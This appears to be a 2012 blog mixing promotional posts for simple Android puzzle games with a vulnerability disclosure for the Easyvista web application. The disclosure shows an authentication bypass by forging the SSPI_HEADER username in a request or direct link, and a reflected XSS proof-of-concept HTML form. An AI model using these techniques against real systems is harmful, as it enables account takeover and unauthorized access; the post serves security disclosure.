terça-feira, 24 de julho de 2012

Pebbles

It´s a hot summer day, and under the deep blue sky, the ocean hums silently.
You lay down  on  the sand, blinded  by  the  sun, refreshed by the cool breeze...
It´s time to play with the  pebbles that  the tide dragged in...
Use your imagination and rotate colorful pebbles of the same type into lines that  then vanish.
Your  objective? To make the  most pebbles deasapear as fast as you can.

The game is available in free and paid versions. The free version is available at the following address in the android market: Pebbles Free. The paid version can be downloaded from the here: Pebbles paid.






quarta-feira, 27 de junho de 2012

George the Plumber

George is a silly little rabbit that loves his wrench! He hops about, happily mending the pipes... 
Help George finish his job and earn his carrots! He loves carrots!!
George the plumber is the classical labyrinth game. To win it you have to help George link
the entries and exits by rotating each pipe piece. Be sure, as you connect the entire circuit, that the path has no leaks. When you're finished, rotate the valve so that the flow goes through to the exit and... Congratulations! You just won a carrot to give good old George the Plumber!!!

The game is available in free and paid versions. The free version is available at the following address in the android market: George the Plumber free. The paid version can be downloaded from the here: George the Plumber paid.

The free version of George the Plumber has publicity. To get rid of publicity get the paid version of George the Plumber with much more levels and increasingly difficulty. Did you think that the last level of the free version was difficult? You will feel differently after you played the last levels in the paid version of George the Plumber.







domingo, 27 de maio de 2012

Pigs In Space

Space... the final pigly frontier!

Pigs from all places, all colours, even blue pigs!
Happy pigs, angry pigs, magic pigs, even most distinguished pigs! All falling into the great pigsty in the sky, kidnapped by evil aliens...
You have to group identical pigs to send them off before the all place blows up and you become fried bacon...
You have limited time to get them away, so hurry or you'll lose all your 3 sausages!
Just save as many pigs as you can and become the hero of the great pig nation- PIGS IN SPACE!
May the Pig Force be with you!

With the same gameplay of Towers, Pigs In Space improves on Towers with new tiles with special meaning and increasing dificulty by the way Pigs In Space brings new blocks to the game board.

Again, the game is available in two versions: the free and the paid version. The free version is available at the following address in the android market: PigsInSpace free. The paid version can be downloaded from the here: PigsInSpace paid.
The free version of Towers has publicity. To get rid of publicity get the paid version of Towers with more levels and more functionalities.
 
 
 

segunda-feira, 14 de maio de 2012

Towers


The city is a wonderful place! Cars and people hustle around!
Under the night sky, the lights shine brightly ...
Every new building is a new horizon, but the sky gets harder and harder to see!
It is time to stop the buildings from reaching too high! It is time to let the stars sparkle trough!!!
Finally! We're proud to present our first game release for the android platform. This time Gato Pinco meowed for you a new exciting city game: Towers!
Towers is a beatiful and joyful game to make you think and exercice you memory.

You start by being able to rotate 2 tiles at a time being your initial mission to match together 3 similar blocks. As the game progresses, so will your strategy, as you need to adapt to the play mode defined in each new level. Pay attention to the instructions at the beginning of each level as you will have to rotate 2, then 4, then 5, and then 6 at the higher level, and make increasingly longer vertical or horizontal lines as the buildings rise from the ground and the free space is less and less.

The game is available in two versions: the free and the paid version. The free version is available at the following address in the android market: Towers Free. The paid version can be downloaded from the here: Towers.

The free version of Towers has publicity. To get rid of publicity get the paid version of Towers with more levels and more functionalities.


 

 

quinta-feira, 15 de março de 2012

Android AndEngine Engine UML Class

Save the picture to your local machine and use a image viewer. If you try to view it using the browser it won't have enough resolution to be readable.

sexta-feira, 9 de março de 2012

IsMessageAllowedByFilterEx



Just a reminder.

quinta-feira, 1 de março de 2012

VU#273502 and change


Easyvista vulnerabilities quick view

I usually don't reverse text but sometimes I do.A couple of months ago I read some slides for a presentation about reverse engineering that stated capital letters "I don't reverse text" as a reference to web hacking. I'd like to state that sometimes I do, and I enjoy it; this being one of those occasions.

This post is a public disclosure of five bugs I found while at work, in an enterprise web application called Easyvista. Why the public disclosure you might ask? Not too often, but sometimes - mainly to friends that publish and expose their sites to the Internet - I pen test their sites for vulnerabilities. As problems are found, they're fixed as soon as I report them. This has no consequences because it's only one site, and once the bug is fixed the security hazard no longer persists. But, when dealing with applications and frameworks disseminated around the world, this sort of fix is not possible. The information of software vulnerability has to reach everyone, so those interested can verify if their platform is vulnerable, and fix it.  As I explained to the vendor, Staff&LIne, if done in a responsible and ethical manner, by allowing the vendor to fix the problem and notify their clients before going public, it is beneficial to all. Public disclosure done this way allows for users and security companies to become aware of the problem, and motivates them to contact the vendor for an update or upgrade of the software, mainly those clients who are no longer covered by a maintenance contract that automates this process.

Why should I update the application? It's just a web application. What is the risk to my organization?

Well, glad you asked. :) Besides corrupted data or exposure of management information, the real danger may lie in unauthorized admin access to the platform, as the application stores an organization inventory database: all machines, software, accounts, etc. This data can be used to leverage the information gathering phase of a major attack. So, if you're an Easyvista client please contact your vendor or support team as soon as possible and request for an update.

Let me introduce Easyvista to you by using the vendor words:

"EasyVista delivers a comprehensive, integrated, modular solution spanning the complete IT service management and asset management lifecycles. The EasyVista solution supports all 15 ITIL v3 processes including more than 300 out of the box workflow wizards."

And now, for something completely different: the technical details. Easyvista, as far as I care, is run in Apache web server. You can check this with any fingerprinting tool or just telnet it and observe the response headers:

HTTP/1.1 200 OK
Date: Thu, 05 Jan 2012 16:46:07 GMT
Server: Apache
X-Powered-By: PHP/4.4.1

The platform is developed in PHP, as seen by the accessed web page extensions (and the response headers - see above). The authentication is integrated with Microsoft's Active Directory (CAS model with SSO). The authentication is implemented in two different ways: a login page (/index.html) that requests your credentials, and a login pop box that asks for your credentials.
For what I can say, either of these authentications methods is vulnerable, because the flow path of execution and session setup ends up in the same vulnerable spot. Although, to be fair, I can’t really say if the vulnerability can be exploited if the SSPI module is not present as I didn’t access the application code.

The first authentication method, the login form:


The sequence of events when login in:


Let's peek at the index.php request:

POST /index.php HTTP/1.1
Host: XXXXXXXXXX
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

url_account=50005&url_login=username&url_password=something&x=0&y=0&from_url=%2Findex.html

The second authentication method, uses SSPI Apache integrated authentication type.


This allows for NTLM negotiation, for example. Its execution flow is as follows:


Let's peek now at the index.php request:

POST /index.php?url_account=50005 HTTP/1.1
Host: XXXXXXXX
....
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

SSPI_HEADER=domain_name%5Cuser_name

You see where we're going, right? (Yes, it is as easy as this.) Change the user_name to whatever user in the organization you want, and you get a session to that user. Remember that you're supposed to be in an Active Directory realm. So, you can grab a list of users from your outlook for example and try out any user, until you hit an administrator account.

The cherry on top of the cake is that you don't even have to login or provide any credential. If you use a direct link, like this:

http://servername/index.php?url_account=account_number&SSPI_HEADER=windows_domain\username

You will get a full working session with whatever user you want.

Index.php is the guilty one here. It trusts data that comes from the user while badly managing session data. It assumes that the user is authenticated and no longer validates the credentials.

The second problem found lies in the redirection page, indexphp_redirect.php, and is a reflected XSS attack. Watching the response given by the redirection page, we can defer our script attack:

HTTP/1.1 200 OK
...
Content-Length: 503
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="X-UA-Compatible" content="IE=7"> <!-- IE7 mode --><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head><body><form name="frm" action="/index.php?url_account=5005 method="POST"><input type="hidden" name="SSPI_HEADER" value="domain_name\user_name"></form><script type="text/javascript" language="JavaScript">window.document.frm.submit()</script></body></html>

The variable url_account is vulnerable to code injection, as long as an REFERER header is provided. I know you know how to spoof a REFERER header. Just set it to any value you want. As for the PoC, the following code will do the trick:

<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=7">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<form name="frm" action="http://server_name/sspi/indexphp_redirect.php" method="POST">
<input type="hidden" name="url_account" value='50005" method="POST"><script>alert("ola")</script> <po="'>
</form>
<script type="text/javascript" language="JavaScript">window.document.frm.submit()
</script>
</body>
</html>

And the result: 


A couple more issues were found:
-          A session fixation problem that allowed for CSRF attacks.
-          A database fingerprinting thru SQL filter parser bypass. I didn’t work much on this one to see if SQL injection was possible, but as this item is not yet fixed, I won’t give any more details about it.

And that's it for today.

Hope you enjoyed it.